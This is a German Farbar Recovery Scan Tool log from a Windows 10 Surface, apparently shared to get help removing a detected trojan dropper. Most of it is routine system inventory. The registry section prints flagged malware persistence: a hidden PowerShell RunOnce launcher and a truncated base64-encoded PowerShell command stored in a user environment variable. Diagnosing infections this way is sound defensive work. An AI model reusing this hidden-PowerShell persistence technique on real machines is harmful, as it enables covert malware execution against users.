Windows 10: TrojanDropper:Win64/Tnega!MSR

Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 08-02-2021 01
durchgeführt von nadin (Administrator) auf DESKTOP-1E2G5B4 (Microsoft Corporation Surface Pro 4) (08-02-2021 20:28:55)
Gestartet von C:\Users\nadin\Downloads
Geladene Profile: nadin
Platform: Windows 10 Pro Version 1909 18363.1316 (X64) Sprache: Deutsch (Deutschland)
Standard-Browser: Edge
Start-Modus: Normal

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Adobe Inc. -> Adobe Inc.) C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
(Apple Inc. -> Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe
(geek software GmbH -> geek software GmbH) C:\Program Files (x86)\PDF24\pdf24.exe <2>
(Google LLC -> Google LLC) C:\Program Files (x86)\Google\Update\1.3.36.72\GoogleCrashHandler.exe
(Google LLC -> Google LLC) C:\Program Files (x86)\Google\Update\1.3.36.72\GoogleCrashHandler64.exe
(HP Inc -> HP Inc.) C:\Program Files\HP\HP OfficeJet Pro 6960\Bin\HPNetworkCommunicatorCom.exe
(HP Inc -> HP Inc.) C:\Program Files\HP\HP OfficeJet Pro 6960\Bin\ScanToPCActivationApp.exe
(HP Inc. -> HP Inc.) C:\Program Files\HPPrintScanDoctor\HPPrintScanDoctorService.exe
(Huawei Technologies Co., Ltd. -> ) C:\Program Files (x86)\HiSuite\HandSetService\HuaweiHiSuiteService64.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\64gh6299.inf_amd64_94401bd29769cd59\IntelCpHDCPSvc.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\64gh6299.inf_amd64_94401bd29769cd59\IntelCpHeciSvc.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe <13>
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Users\nadin\AppData\Local\Microsoft\OneDrive\21.002.0104.0005\FileCoAuth.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Users\nadin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.13426.20566.0_x64__8wekyb3d8bbwe\HxOutlook.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.13426.20566.0_x64__8wekyb3d8bbwe\HxTsr.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.WindowsStore_12011.1001.1.0_x64__8wekyb3d8bbwe\WinStore.App.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe <3>
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\SecurityHealthHost.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\RemindersServer.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
(Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\MpCmdRun.exe <2>
(Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\MsMpEng.exe
(Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2011.6-0\NisSrv.exe
(Panasonic Corporation -> Panasonic Corporation) C:\Program Files (x86)\Common Files\Panasonic\PHOTOfunSTUDIO AutoStart\AutoStartupService.exe
(Silhouette Research & Technology Ltd -> ) C:\Program Files (x86)\Silhouette America\Silhouette Link\Resources\Resources\SPEC_LK\SilhouetteLinkServer.32.exe

==================== Registry (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [598552 2016-06-22] (Oracle America, Inc. -> Oracle Corporation)
HKLM-x32\...\Run: [PDFPrint] => C:\Program Files (x86)\PDF24\pdf24.exe [486464 2020-10-01] (geek software GmbH -> geek software GmbH)
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\Run: [HP OfficeJet Pro 6960 (NET)] => C:\Program Files\HP\HP OfficeJet Pro 6960\Bin\ScanToPCActivationApp.exe [3769760 2020-12-11] (HP Inc -> HP Inc.)
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\Run: [E89733B1A2ED2E09D5D7D432A65E3FFFCA995C6A._service_run] => "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=service /prefetch:8
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\RunOnce: [nadin] => powershell -Win Hi -Command "$r = [Environment]::GetEnvironmentVariable('nadin', 'User').split();$p=$r[0];$r[0]='';Start-Process $p -ArgumentList ($r -join ' ') -Win Hi" <==== ACHTUNG
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\MountPoints2: {1fe00ccf-c142-11ea-80e0-bc8385cd205a} - "D:\HiSuiteDownLoader.exe" 
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\MountPoints2: {1fe00cf6-c142-11ea-80e0-bc8385cd205a} - "D:\HiSuiteDownLoader.exe" 
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\MountPoints2: {6e290020-de88-11ea-80e7-bc8385cd205a} - "F:\HiSuiteDownLoader.exe" 
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\MountPoints2: {92416687-a2de-11e8-8073-bc8385cd205a} - "D:\Setup.exe" 
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\MountPoints2: {a884b6f0-3f91-11eb-80f0-bc8385cd205a} - "F:\HiSuiteDownLoader.exe" 
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\MountPoints2: {a884b7b0-3f91-11eb-80f0-bc8385cd205a} - "F:\HiSuiteDownLoader.exe" 
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\...\MountPoints2: {c23aae5b-2111-11ea-80c4-bc8385cd205a} - "F:\HiSuiteDownLoader.exe" 
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\WINDOWS\system32\scrnsave.scr [38400 2019-03-19] (Microsoft Windows -> Microsoft Corporation)
HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\Environment: [nadin] "powershell.exe"         -windowstyle hidden  -En "PAAjACAAeABnAHIAZABkACAAIwA+ACQAdQA9ACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAANwAwADAAOwAkAGkAKwArACkAewAkA (Der Dateneintrag hat 1237 mehr Zeichen). <==== ACHTUNG
RegKey: [HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\Software\nadin] <==== ACHTUNG
RegKey: [HKU\S-1-5-21-1646496009-4099916810-2609688387-1001\Software\nadin1] <==== ACHTUNG
HKLM\...\Windows x64\Print Processors\hpzppw71: C:\Windows\System32\spool\prtprocs\x64\hpzppw71.dll [239704 2017-12-18] (Microsoft Windows Hardware Compatibility Publisher -> Hewlett-Packard Corporation)
HKLM\...\Print\Monitors\PCL hpz3lw71: hpz3lw71.dll
HKLM\Software\Microsoft\Active Setup\Installed Components: [{8A69D345-D564-463c-AFF1-A69D9E530F96}] -> C:\Program Files (x86)\Google\Chrome\Application\88.0.4324.146\Installer\chrmstp.exe [2021-02-04] (Google LLC -> Google LLC)
Startup: C:\Users\nadin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\An OneNote senden.lnk [2020-10-15]
ShortcutTarget: An OneNote senden.lnk -> C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE (Microsoft Corporation -> Microsoft Corporation)

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) ============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {009234AA-38A1-4AB5-9DAC-30B23D0462C6} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-06] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {1624DF9A-41C4-4379-AF14-FE9980B1A6A8} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1349200 2020-11-03] (Adobe Inc. -> Adobe Inc.)
Task: {1C7452F1-1864-4A2E-AB2D-85C439335735} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [22993288 2021-01-22] (Microsoft Corporation -> Microsoft Corporation)
Task: {3F64AA52-F69F-4F39-911A-FC69BD40801A} - System32\Tasks\G2MUpdateTask-S-1-5-21-1646496009-4099916810-2609688387-1001 => C:\Users\nadin\AppData\Local\GoToMeeting\19228\g2mupdate.exe [31320 2020-12-19] (LogMeIn, Inc. -> LogMeIn, Inc.)
Task: {4597FC60-B56E-4C78-A402-9C0609D204CF} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-06] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {5FAF825F-B4DF-439B-A6DE-0C2381715B1C} - System32\Tasks\G2MUploadTask-S-1-5-21-1646496009-4099916810-2609688387-1001 => C:\Users\nadin\AppData\Local\GoToMeeting\19228\g2mupload.exe [31320 2020-12-19] (LogMeIn, Inc. -> LogMeIn, Inc.)
Task: {63E567F6-1F87-449F-91C5-574D4E06506D} - System32\Tasks\HPPSDrTelemetryWatch => C:\Program Files (x86)\HP\Diagnostics\TelemetryWatch\PSDrTelemetryWatch.exe
Task: {6EF9D6B4-1C97-445E-8046-230702DA2237} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-06] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {7FD4A5E5-89F7-41B7-A592-D4908843CBFC} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files (x86)\Microsoft Office\root\Office16\msoia.exe [3994024 2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
Task: {8425AF7E-DDBC-4383-813C-8F71880D1584} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MpCmdRun.exe [545704 2020-12-06] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {8494555B-B9FE-4CF1-B4AD-94D85AEE973F} - System32\Tasks\Microsoft\Office\Office Automatic Updates 2.0 => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [22993288 2021-01-22] (Microsoft Corporation -> Microsoft Corporation)
Task: {84BF6601-D236-4D81-A3E8-EB6C7310ED57} - System32\Tasks\Microsoft\Office\Office Feature Updates => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [115048 2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
Task: {9A7E3851-A922-4110-94E0-1FC45961858C} - System32\Tasks\Opera scheduled Autoupdate 1539887642 => C:\Users\nadin\AppData\Local\Programs\Opera\launcher.exe
Task: {C26239BC-0390-47AF-940C-6F7DD35A99CD} - System32\Tasks\Microsoft\Windows Live\SOXE\Extractor Definitions Update Task => {3519154C-227E-47F3-9CC9-12C3F05817F1}
Task: {CE323166-4D13-4BD3-9582-084CB9D2AA08} - System32\Tasks\Microsoft\Office\Office Feature Updates Logon => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [115048 2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
Task: {D71F2B63-5BED-4BB2-AC63-7FE4C3694026} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [156968 2019-02-22] (Google Inc -> Google Inc.)
Task: {E8980C9A-6F2C-4DDB-B5B1-E4A6F54998F5} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [156968 2019-02-22] (Google Inc -> Google Inc.)
Task: {F44BEB3C-A549-4BDB-9D20-76D5EFAE6B42} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016 => C:\Program Files (x86)\Microsoft Office\root\Office16\msoia.exe [3994024 2021-02-02] (Microsoft Corporation -> Microsoft Corporation)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)

Task: C:\WINDOWS\Tasks\G2MUpdateTask-S-1-5-21-1646496009-4099916810-2609688387-1001.job => C:\Users\nadin\AppData\Local\GoToMeeting\19228\g2mupdate.exe
Task: C:\WINDOWS\Tasks\G2MUploadTask-S-1-5-21-1646496009-4099916810-2609688387-1001.job => C:\Users\nadin\AppData\Local\GoToMeeting\19228\g2mupload.exe

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.28.1
Tcpip\..\Interfaces\{3ee76b55-bf25-4c9a-8060-53de2599b2d5}: [DhcpNameServer] 192.168.28.1

Edge: 
=======
DownloadDir: C:\Users\nadin\Downloads
Edge DefaultProfile: Default
Edge Profile: C:\Users\nadin\AppData\Local\Microsoft\Edge\User Data\Default [2021-02-08]
Edge StartupUrls: Default -> "hxxp://www.bogenschuetzen-esslingen.de/"

FireFox:
========
FF Plugin: @videolan.org/vlc,version=3.0.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2018-08-10] (VideoLAN -> VideoLAN)
FF Plugin-x32: @java.com/DTPlugin,version=11.101.2 -> C:\Program Files (x86)\Java\jre1.8.0_101\bin\dtplugin\npDeployJava1.dll [2017-11-13] (Oracle America, Inc. -> Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.101.2 -> C:\Program Files (x86)\Java\jre1.8.0_101\bin\plugin2\npjp2.dll [2017-11-13] (Oracle America, Inc. -> Oracle Corporation)
FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX86\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files (x86)\Microsoft Office\root\Office16\NPSPWRAP.DLL [2021-02-02] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2020-12-07] (Adobe Inc. -> Adobe Systems Inc.)

Chrome: 
=======
CHR DefaultProfile: Profile 1
CHR Profile: C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default [2021-01-12]
CHR Notifications: Default -> hxxps://www.artnight.com; hxxps://www.pinterest.de; hxxps://www.wintotal.de
CHR Extension: (Präsentationen) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2019-02-22]
CHR Extension: (Docs) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2019-02-22]
CHR Extension: (Google Drive) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2021-01-04]
CHR Extension: (YouTube) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2019-02-22]
CHR Extension: (Tabellen) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2019-02-22]
CHR Extension: (Google Docs Offline) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2021-01-04]
CHR Extension: (Chrome Web Store-Zahlungen) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2019-10-05]
CHR Extension: (Google Mail) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2021-01-04]
CHR Extension: (Chrome Media Router) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2021-01-04]
CHR Profile: C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Guest Profile [2020-03-26]
CHR Profile: C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1 [2021-02-03]
CHR Extension: (Präsentationen) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2020-03-26]
CHR Extension: (Docs) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\aohghmighlieiainnegkcijnfilokake [2020-03-26]
CHR Extension: (Google Drive) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\apdfllckaahabafndbhieahigkjlhalf [2020-11-06]
CHR Extension: (YouTube) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2020-03-26]
CHR Extension: (Tabellen) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2020-03-26]
CHR Extension: (Google Docs Offline) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2020-11-18]
CHR Extension: (Chrome Web Store-Zahlungen) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2021-01-30]
CHR Extension: (Google Mail) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2020-11-06]
CHR Extension: (Chrome Media Router) - C:\Users\nadin\AppData\Local\Google\Chrome\User Data\Profile 1\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2021-01-30]
CHR Profile: C:\Users\nadin\AppData\Local\Google\Chrome\User Data\System Profile [2020-03-26]

Opera: 
=======
OPR Profile: C:\Users\nadin\AppData\Roaming\Opera Software\Opera Stable [2018-10-19]
OPR DefaultSuggestURL: Opera Stable -> hxxps://www.google.de/complete/search?client=opera&q={searchTerms}&ie={inputEncoding}&oe={outputEncoding}

==================== Dienste (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 AdobeARMservice; C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe [170056 2020-11-03] (Adobe Inc. -> Adobe Inc.)
R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [8902024 2021-01-22] (Microsoft Corporation -> Microsoft Corporation)
R2 HPPrintScanDoctorService; C:\Program Files\HPPrintScanDoctor\HPPrintScanDoctorService.exe [284808 2021-02-07] (HP Inc. -> HP Inc.)
R2 HuaweiHiSuiteService64.exe; C:\Program Files (x86)\HiSuite\HandSetService\HuaweiHiSuiteService64.exe [236864 2020-12-05] (Huawei Technologies Co., Ltd. -> )
S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\1150\Intel 32\IDriverT.exe [69632 2005-11-14] (Macrovision Corporation) [Datei ist nicht signiert]
R2 PDF24; C:\Program Files (x86)\PDF24\pdf24.exe [486464 2020-10-01] (geek software GmbH -> geek software GmbH)
S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [6264144 2021-01-14] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 SilhouetteLink; C:\Program Files (x86)\Silhouette America\Silhouette Link\Resources\Resources\SPEC_LK\SilhouetteLinkServer.32.exe [897200 2016-12-06] (Silhouette Research & Technology Ltd -> )
R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\NisSrv.exe [2491880 2020-12-06] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2011.6-0\MsMpEng.exe [128376 2020-12-06] (Microsoft Windows Publisher -> Microsoft Corporation)

===================== Treiber (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

S3 BthA2dp; C:\WINDOWS\System32\drivers\BthA2dp.sys [231936 2019-09-13] (Microsoft Corporation) [Datei ist nicht signiert]
S3 ew_usbccgpfilter; C:\WINDOWS\System32\drivers\ew_usbccgpfilter.sys [18944 2018-12-12] (Microsoft Windows Hardware Compatibility Publisher -> Huawei Technologies Co., Ltd.)
U5 hw_usbdev; C:\Windows\System32\Drivers\hw_usbdev.sys [116864 2020-12-05] (Microsoft Windows Hardware Compatibility Publisher -> Huawei Technologies Co., Ltd.)
R3 MpKsl3d7f9758; C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{3580D3B0-AB1E-4E72-8E4A-6108F53A1E43}\MpKslDrv.sys [47344 2021-02-08] (Microsoft Windows -> Microsoft Corporation)
S3 scsiscan; C:\WINDOWS\system32\DRIVERS\scsiscan.sys [21504 2020-01-18] (Microsoft Windows -> Microsoft Corporation)
S0 WdBoot; C:\WINDOWS\System32\drivers\wd\WdBoot.sys [48536 2020-12-06] (Microsoft Windows Early Launch Anti-Malware Publisher -> Microsoft Corporation)
R0 WdFilter; C:\WINDOWS\System32\drivers\wd\WdFilter.sys [429296 2020-12-06] (Microsoft Windows -> Microsoft Corporation)
R3 WdNisDrv; C:\WINDOWS\System32\drivers\wd\WdNisDrv.sys [70896 2020-12-06] (Microsoft Windows -> Microsoft Corporation)

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2021-02-08 20:28 - 2021-02-08 20:28 - 000000000 ____D C:\Users\nadin\Downloads\FRST-OlderVersion
2021-02-07 21:31 - 2021-02-08 20:29 - 000021544 _____ C:\Users\nadin\Downloads\FRST.txt
2021-02-07 21:31 - 2021-02-08 20:29 - 000000000 ____D C:\FRST
2021-02-07 21:26 - 2021-02-08 20:28 - 002297344 _____ (Farbar) C:\Users\nadin\Downloads\FRST64.exe
2021-02-07 20:35 - 2021-02-07 20:35 - 000000000 ____D C:\Program Files\HPPrintScanDoctor
2021-02-03 17:44 - 2021-02-03 17:44 - 000007261 _____ C:\Users\nadin\AppData\Local\recently-used.xbel
2021-02-01 17:30 - 2021-02-01 17:30 - 000000000 ____D C:\Users\nadin\Downloads\Free-Font-Bundle-1
2021-02-01 17:17 - 2021-02-01 17:17 - 004691550 _____ C:\Users\nadin\Downloads\Free-Font-Bundle-1.zip
2021-01-30 18:05 - 2021-01-30 18:06 - 000000000 ____D C:\Program Files (x86)\HP
2021-01-30 18:05 - 2021-01-30 18:05 - 000000000 ____D C:\Program Files\HP
2021-01-30 18:02 - 2021-01-30 18:04 - 162212400 _____ C:\Users\nadin\Downloads\Full_Webpack-40.14.1194_1-OJ6960_Full_Webpack.exe
2021-01-30 17:58 - 2021-01-30 17:59 - 027487152 _____ C:\Users\nadin\Downloads\OJP6960_2049A (1).exe
2021-01-30 10:23 - 2021-02-07 20:35 - 000000000 ____D C:\WINDOWS\system32\Tasks\HP
2021-01-21 17:32 - 2021-01-21 17:32 - 000000000 ___DC C:\Users\nadin\Documents\Fax
2021-01-19 17:59 - 2021-01-19 17:59 - 000259772 ____C C:\Users\nadin\Documents\Rahmen für Druck.svg
2021-01-15 16:20 - 2021-01-15 16:20 - 003314475 _____ C:\Users\nadin\Downloads\EXPOSE_67554_DE (1).pdf
2021-01-15 16:09 - 2021-01-15 16:09 - 003314475 _____ C:\Users\nadin\Downloads\EXPOSE_67554_DE.pdf
2021-01-14 20:23 - 2021-01-14 20:23 - 000568320 _____ (Microsoft Corporation) C:\WINDOWS\system32\PhotoScreensaver.scr
2021-01-14 20:23 - 2021-01-14 20:23 - 000502784 _____ C:\WINDOWS\system32\AssignedAccessCsp.dll
2021-01-14 20:23 - 2021-01-14 20:23 - 000500224 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PhotoScreensaver.scr
2021-01-14 20:23 - 2021-01-14 20:23 - 000151040 _____ C:\WINDOWS\system32\uwfcsp.dll
2021-01-14 20:23 - 2021-01-14 20:23 - 000094720 _____ C:\WINDOWS\system32\VirtualMonitorManager.dll
2021-01-14 20:22 - 2021-01-14 20:22 - 001101312 _____ C:\WINDOWS\SysWOW64\TextInputMethodFormatter.dll
2021-01-14 20:22 - 2021-01-14 20:22 - 000696832 _____ (Microsoft Corporation) C:\WINDOWS\system32\hhctrl.ocx
2021-01-14 20:22 - 2021-01-14 20:22 - 000576512 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\hhctrl.ocx
2021-01-14 20:22 - 2021-01-14 20:22 - 000555008 _____ (Microsoft Corporation) C:\WINDOWS\system32\appwiz.cpl
2021-01-14 20:22 - 2021-01-14 20:22 - 000458240 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mmsys.cpl
2021-01-14 20:22 - 2021-01-14 20:22 - 000455680 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\appwiz.cpl
2021-01-14 20:22 - 2021-01-14 20:22 - 000294912 _____ (Microsoft Corporation) C:\WINDOWS\system32\ksproxy.ax
2021-01-14 20:22 - 2021-01-14 20:22 - 000233472 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ksproxy.ax
2021-01-14 20:22 - 2021-01-14 20:22 - 000168448 _____ (Microsoft Corporation) C:\WINDOWS\system32\VBICodec.ax
2021-01-14 20:22 - 2021-01-14 20:22 - 000167424 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\intl.cpl
2021-01-14 20:22 - 2021-01-14 20:22 - 000135168 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VBICodec.ax
2021-01-14 20:22 - 2021-01-14 20:22 - 000086016 _____ (Microsoft Corporation) C:\WINDOWS\system32\tdc.ocx
2021-01-14 20:22 - 2021-01-14 20:22 - 000083968 _____ (Microsoft Corporation) C:\WINDOWS\system32\wscui.cpl
2021-01-14 20:22 - 2021-01-14 20:22 - 000072704 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tdc.ocx
2021-01-14 20:22 - 2021-01-14 20:22 - 000067584 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wscui.cpl
2021-01-14 20:22 - 2021-01-14 20:22 - 000067072 _____ C:\WINDOWS\system32\BWContextHandler.dll
2021-01-14 20:22 - 2021-01-14 20:22 - 000053248 _____ C:\WINDOWS\SysWOW64\BWContextHandler.dll
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth9.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth8.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth7.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth6.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth5.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth4.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth3.bin
2021-01-14 20:22 - 2021-01-14 20:22 - 000000315 _____ C:\WINDOWS\system32\DrtmAuth2.bin
